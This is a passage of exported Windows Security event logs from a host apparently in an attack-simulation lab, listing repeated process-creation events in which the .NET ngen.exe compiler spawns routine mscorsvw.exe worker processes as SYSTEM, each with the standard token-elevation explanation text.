Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254399
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 470 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254398
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 470 -InterruptEvent 0 -NGENProcess 480 -Pipe 444 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 47c -Pipe 434 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254412
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 42c -Pipe 440 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254411
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c0 -InterruptEvent 0 -NGENProcess 440 -Pipe 490 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254410
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 490 -Pipe 4a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254409
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 4b0 -Pipe 488 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254418
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe64
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 438 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254417
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 404 -Pipe 4c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254416
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x578
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c4 -InterruptEvent 0 -NGENProcess 4d4 -Pipe 4b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254415
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 498 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254414
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 498 -InterruptEvent 0 -NGENProcess 4b0 -Pipe 1e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254429
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 430 -InterruptEvent 0 -NGENProcess 4f4 -Pipe 4e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254428
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e4 -InterruptEvent 0 -NGENProcess 430 -Pipe 41c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254427
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 4e4 -Pipe 4b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254426
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 47c -InterruptEvent 0 -NGENProcess 4c8 -Pipe 484 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254425
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 47c -Pipe 4b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254424
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 484 -Pipe 424 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
